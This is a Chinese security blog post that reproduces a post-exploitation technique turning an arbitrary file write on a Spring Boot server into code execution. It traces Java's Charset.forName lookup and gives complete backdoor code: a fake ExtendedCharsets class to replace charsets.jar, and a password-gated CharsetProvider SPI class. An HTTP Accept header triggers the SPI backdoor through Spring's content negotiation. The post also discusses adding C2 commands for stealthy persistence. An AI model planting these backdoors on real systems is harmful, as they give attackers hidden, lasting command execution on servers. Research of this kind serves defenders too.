从Spring Boot FatJar文件写漏洞的一次实践
前言
今天在landgrey师傅的博客上看到一篇将Spring Boot FatJar任意写目录漏洞如何来GetShell的方法，因为在Spring Boot中处理逻辑的控制层Controller是通过注解等方式来添加进Spring容器中，已经摒弃了JSP的方式。这样的方式导致JSP就算上传在网站目录上也无法运行。直到今天看到landgrey和threedr3am两位师傅的文章。不得不佩服他们的脑洞和对代码的运用。对此我将两位师傅的思路总结起来并对这两种方式进行比较和利用复现。
大致我分为如下两种方式：
-
-
添加一个默认的ClassPath中的文件夹
一个类被加载到jvm中，是还没有进行初始化的，通常情况下可以通过new、newInstance、Class.forName等方法来初始化。同时在初始化的过程中会调用类的静态方法/属性或者构造函数。所以经常有见到类写成如下形式：
public class Test{ static{ System.out.println("Hello Test"); } }
这种时候通过Class.forName再初始化类的时候，jvm会自动调用其中的静态代码块，并输出。
Java SPI机制
为了方便理解这次的实现代码，还是把SPI机制也过一遍。
什么是SPI
SPI的全称是Service Provider Interface，是JDK内置的一种服务发现机制。通过SPI我们可以动态加载我们定义的服务实现类。
网上找了一个认为比较容易理解的例子：JDK中有支持音乐播放，假设只支持mp3的播放，有些厂商想在这个基础之上支持mp4播放，有的想支持mp5播放，而这些厂商都是第三方厂商，如果没有提供SPI这种实现标准，那就只有修改JAVA的源代码了，那这个弊端也是显而易见的，而有了SPI标准，SUN公司只需要提供一个播放接口，在实现播放的功能上通过ServiceLoad的方式加载服务，那么第三方只需要实现这个播放接口，再按SPI标准的约定进行打包，再放到classpath下面就OK了，没有一点代码的侵入性。
-
API是调用并用于实现目标的类、接口、方法等的描述；
-
SPI是扩展和实现以实现目标的类、接口、方法等的描述；
换句话说，API 为操作提供特定的类、方法，SPI 通过操作来符合特定的类、方法。
所以按照上述的例子，JDK只需提供一个接口Music，各个第三方服务即可通过这个接口来实现不同的播放标准。所需的操作只需要实现该Music接口并在META-INF/services/下配置一个以Music接口为名字，内容为实现类的包名全称的标准格式。
编写一个接口
package com.spi; public interface ISpi { void say(); }
编写两个不同的实现类
package com.spi; public class FirstSpiImpl implements ISpi { @Override public void say() { System.out.println("我是第一个SPI实现类"); } }
package com.spi; public class SecondSpiImpl implements ISpi { @Override public void say() { System.out.println("我是第二个SPI实现类"); } }
在src根目录创建文件夹META-INF/services，在创建的文件夹下面创建一个文件，命名为SPI接口的全路径名，并写上需要动态加载的实现类的全路径名：
com.spi.FirstSpiImpl
com.spi.SecondSpiImpl
最后，编写一个ServiceLoad加载服务
package com.spi; import java.util.ServiceLoader; /** * Hello world! */ public class App { public static void main(String[] args) { ServiceLoader<ISpi> serviceLoader = ServiceLoader.load(ISpi.class); for (ISpi service : serviceLoader) { service.say(); } } }
有所感触
回到之前的正文上来，landgrey师傅通过-XX:+TraceClassLoading的方式替我们debug测试，找到了一处/jre/lib/charsets.jar的系统Classpath目录。其思路就是通过任意写文件漏洞替换系统classpath目录下的charsets.jar文件，并根据resolveMediaTypes方法中对头字段Accept的Charset.forName(value)所触发charsets.jar文件的载入和初始化的后门利用。
看了landgrey师傅的思路，我自己也跟了一下，我发现竟然已经能替换charsets.jar文件，完全就可以直接通过劫持的方式来达到代码执行，作为一个长久存在，且存在于类加载过程中的后门。其劫持思想我觉得可能有点相似于.NET平台的CLR劫持。
跟踪技术实现
经过多次测试发现，jvm加载的时候会装载classpath下的charsets.jar的lib文件。同时发现会调用Charset.forName方法。
跟踪下去：
jvm启动过程中某处会初始化java.lang.String(byte[],String)的构造函数，往下跟就能找到java.lang.StringCoding.decode方法。
static char[] decode(String charsetName, byte[] ba, int off, int len) throws UnsupportedEncodingException { StringDecoder sd = deref(decoder); String csn = (charsetName == null) ? "ISO-8859-1" : charsetName; if ((sd == null) || !(csn.equals(sd.requestedCharsetName()) || csn.equals(sd.charsetName()))) { sd = null; try { Charset cs = lookupCharset(csn); //传播点 if (cs != null) sd = new StringDecoder(cs, csn); } catch (IllegalCharsetNameException x) {} if (sd == null) throw new UnsupportedEncodingException(csn); set(decoder, sd); } return sd.decode(ba, off, len); }
发现在decode方法中会调用lookupCharset()方法
private static Charset lookupCharset(String csn) { if (Charset.isSupported(csn)) { try { return Charset.forName(csn); } catch (UnsupportedCharsetException x) { throw new Error(x); } } return null; }
继续往下跟Charset.forName
public static Charset forName(String charsetName) { Charset cs = lookup(charsetName); if (cs != null) return cs; throw new UnsupportedCharsetException(charsetName); }
在继续往下跟lookup方法后，可以来到lookup2方法中来，其方法体如下：
private static Charset lookup2(String charsetName) { Object[] a; if ((a = cache2) != null && charsetName.equals(a[0])) { cache2 = cache1; cache1 = a; return (Charset)a[1]; } Charset cs; if ((cs = standardProvider.charsetForName(charsetName)) != null || (cs = lookupExtendedCharset(charsetName)) != null || (cs = lookupViaProviders(charsetName)) != null) { cache(charsetName, cs); return cs; } /* Only need to check the name if we didn't find a charset for it */ checkName(charsetName); return null; }
其中的if判断中先后调用
standardProvider.charsetForName
lookupExtendedCharset
lookupViaProviders
这里我直接跟lookupExtendedCharset中来
private static Charset lookupExtendedCharset(String charsetName) { CharsetProvider ecp = ExtendedProviderHolder.extendedProvider; return (ecp != null) ? ecp.charsetForName(charsetName) : null; }
跟进ExtendedProviderHolder.extendedProvider;字段，发现该字段是调用静态方法extendedProvider()的返回值。
private static class ExtendedProviderHolder { static final CharsetProvider extendedProvider = extendedProvider(); // returns ExtendedProvider, if installed private static CharsetProvider extendedProvider() { return AccessController.doPrivileged( new PrivilegedAction<CharsetProvider>() { public CharsetProvider run() { try { Class<?> epc = Class.forName("sun.nio.cs.ext.ExtendedCharsets"); return (CharsetProvider)epc.newInstance(); } catch (ClassNotFoundException x) { // Extended charsets not available // (charsets.jar not present) } catch (InstantiationException | IllegalAccessException x) { throw new Error(x); } return null; } }); } }
随后就能看到有硬编码调用Class.forName("sun.nio.cs.ext.ExtendedCharsets");
于是乎我便创建了如下一个jar包文件：
内容为：
package sun.nio.cs.ext; import java.io.IOException; import java.nio.charset.Charset; import java.nio.charset.spi.CharsetProvider; import java.util.Iterator; public class ExtendedCharsets extends CharsetProvider{ public ExtendedCharsets() { try { Runtime.getRuntime().exec("cmd /c calc"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } @Override public Iterator<Charset> charsets() { // TODO Auto-generated method stub return null; } @Override public Charset charsetForName(String charsetName) { // TODO Auto-generated method stub return null; } }
导出为jar包之后替换classpath目录下的charsets.jar
我再总结下这种劫持charsets.jar的利弊：
优处：可以劫持系统程序，不论是javac.exe编译字节码，还是运行jvm等，都会触发Charset.forName()。
弊处：如图所示，乱码。因为替换了Charsets.jar，表明之后的程序逻辑中有Charset.forName("UTF-8")等等这种情况均会失效，不利于隐蔽。
再谈利用
上小节也说到，替换Charsets.jar包更趋向于劫持、权限维持等。但是threedr3am给出了另外一个利用方式，这种方式更接近于后门。
standardProvider.charsetForName
lookupExtendedCharset
lookupViaProviders
其实现代码如下：
private static Charset lookupViaProviders(final String charsetName) { if (!sun.misc.VM.isBooted()) return null; if (gate.get() != null) // Avoid recursive provider lookups return null; try { gate.set(gate); return AccessController.doPrivileged( new PrivilegedAction<Charset>() { public Charset run() { for (Iterator<CharsetProvider> i = providers(); i.hasNext();) { CharsetProvider cp = i.next(); Charset cs = cp.charsetForName(charsetName); if (cs != null) return cs; } return null; } }); } finally { gate.set(null); } }
再看看其中for循环中的providers方法的关键代码：
如果看到这你还一脸茫然，不要慌，建议再反到上面我们写过的SPI的Demo。仔细看看其服务发现的代码，是不是跟这个ServiceLoader.load一模一样~
没错，知道原理之后，我只需要在系统的classpath中添加一个SPI类就行了（我试过将SPI打成jar包替换，然而并不行）。因此我需要一个classpath中添加一个文件夹。但是系统默认提供了一个：
System.out.println(System.getProperty("sun.boot.class.path"));
但是我的文件系统上并没有这个文件，因此需要自己创建这个文件夹。
然后定义一个标准的SPI实现
其实现代码如下：
package sun.nio.cs.evil; import java.io.IOException; import java.nio.charset.Charset; import java.nio.charset.spi.CharsetProvider; import java.util.HashSet; import java.util.Iterator; public class CharsetEvil extends CharsetProvider{ @Override public Iterator<Charset> charsets() { // TODO Auto-generated method stub return new HashSet<Charset>().iterator(); } @Override public Charset charsetForName(String charsetName) { // TODO Auto-generated method stub if(charsetName.startsWith("evil")) { //指定后门密码 try { Runtime.getRuntime().exec("cmd /c calc"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return Charset.forName("UTF-8"); } }
然后将编译好的包名和class字节码放到classpath的文件夹下去
如此一来便大功告成了，从此之后只需要在调用Charset.forName("evil")，evil为之前指定的后门密码。
针对Spring的利用
竟然已经可以通过Charset.forName("evil")来触发后门了，但毕竟不会有程序员主动去调用这个代码的，所以接下来肯定就是寻找在系统中，能触发后门的gadget。
后门条件：
-
是调用的Charset.forName方法
-
其参数字符串可控
而在Spring-Framework-web框架中的org.springframework.web.accept.HeaderContentNegotiationStrategy类中继承了ContentNegotiationStrategy，而ContentNegotiationStrategy是Spring Web中的策略接口，所定义的策略对象用于从请求对象中的各种信息判断该请求的MediaType。
该接口中只有一个方法
List<MediaType> resolveMediaTypes(NativeWebRequest webRequest)
其中NativeWebRequest的参数就是请求对象，SpringMVC 默认加载两个该接口的实现类：
ServletPathExtensionContentNegotiationStrategy–根据文件扩展名。
HeaderContentNegotiationStrategy–根据HTTP Header里的Accept字段。
HeaderContentNegotiationStrategy就是其中一个，而且是获取Header中的Accept字段，正好可以用来做触发条件。先来看关键代码：
@Override public List<MediaType> resolveMediaTypes(NativeWebRequest request) throws HttpMediaTypeNotAcceptableException { String[] headerValueArray = request.getHeaderValues(HttpHeaders.ACCEPT); //source if (headerValueArray == null) { return MEDIA_TYPE_ALL_LIST; } List<String> headerValues = Arrays.asList(headerValueArray); try { List<MediaType> mediaTypes = MediaType.parseMediaTypes(headerValues); //Propagate MediaType.sortBySpecificityAndQuality(mediaTypes); return !CollectionUtils.isEmpty(mediaTypes) ? mediaTypes : MEDIA_TYPE_ALL_LIST; } catch (InvalidMediaTypeException ex) { throw new HttpMediaTypeNotAcceptableException( "Could not parse 'Accept' header " + headerValues + ": " + ex.getMessage()); } }
进入MediaType.parseMediaTypes方法中，继续跟下去会发现调用了MimeTypeUtils.parseMimeType
public static MediaType parseMediaType(String mediaType) { MimeType type; try { type = MimeTypeUtils.parseMimeType(mediaType); //Propagate } catch (InvalidMimeTypeException ex) { throw new InvalidMediaTypeException(ex); } try { return new MediaType(type.getType(), type.getSubtype(), type.getParameters()); } catch (IllegalArgumentException ex) { throw new InvalidMediaTypeException(mediaType, ex.getMessage()); } }
接着往下跟踪：
public static MimeType parseMimeType(String mimeType) { if (!StringUtils.hasLength(mimeType)) { throw new InvalidMimeTypeException(mimeType, "'mimeType' must not be empty"); } // do not cache multipart mime types with random boundaries if (mimeType.startsWith("multipart")) { return parseMimeTypeInternal(mimeType); //Propagate } return cachedMimeTypes.get(mimeType); }
程序调用了parseMimeTypeInternal方法，而在parseMimeTypeInternal方法中使用new关键词实例化对象MimeType
public MimeType(String type, String subtype, @Nullable Map<String, String> parameters) { Assert.hasLength(type, "'type' must not be empty"); Assert.hasLength(subtype, "'subtype' must not be empty"); checkToken(type); checkToken(subtype); this.type = type.toLowerCase(Locale.ENGLISH); this.subtype = subtype.toLowerCase(Locale.ENGLISH); if (!CollectionUtils.isEmpty(parameters)) { Map<String, String> map = new LinkedCaseInsensitiveMap<>(parameters.size(), Locale.ENGLISH); parameters.forEach((attribute, value) -> { checkParameters(attribute, value); //Propagate map.put(attribute, value); }); this.parameters = Collections.unmodifiableMap(map); } else { this.parameters = Collections.emptyMap(); } }
而在构造方法中，使用checkParameters方法检查传入的值。
protected void checkParameters(String attribute, String value) { Assert.hasLength(attribute, "'attribute' must not be empty"); Assert.hasLength(value, "'value' must not be empty"); checkToken(attribute); if (PARAM_CHARSET.equals(attribute)) { value = unquote(value); Charset.forName(value); //Sink } else if (!isQuotedString(value)) { checkToken(value); } }
至此跟到Sink点Charset.forNmae()方法。
随后使用postman发送如下数据包
GET / HTTP/1.1 Host: localhost:9090 Accept: text/html;charset=evil;
利用成功截图：
尾声...
上面讲的这两种方式其实各有各的好
| 方式 | 优点 | 缺点 |
|---|---|---|
| 替换charsets.jar包 | 劫持系统程序的运行 | 乱码、易被发现 |
| 写入class文件夹 | 后门、通信更隐蔽 | 需要写入字节码到class文件夹和META-INF |
charsets.jar的方式没有深入研究，其实从这两种方式来看，做后渗透的方式更趋向于第一种，因此，唯一的突破口就是对charsets.jar的原生代码基础上进行织入C2的运行命令，以达到权限维持。
Reference
[1].https://landgrey.me/blog/22
[2].https://www.imooc.com/article/272288
[3].https://blog.csdn.net/x_iya/article/details/78114101
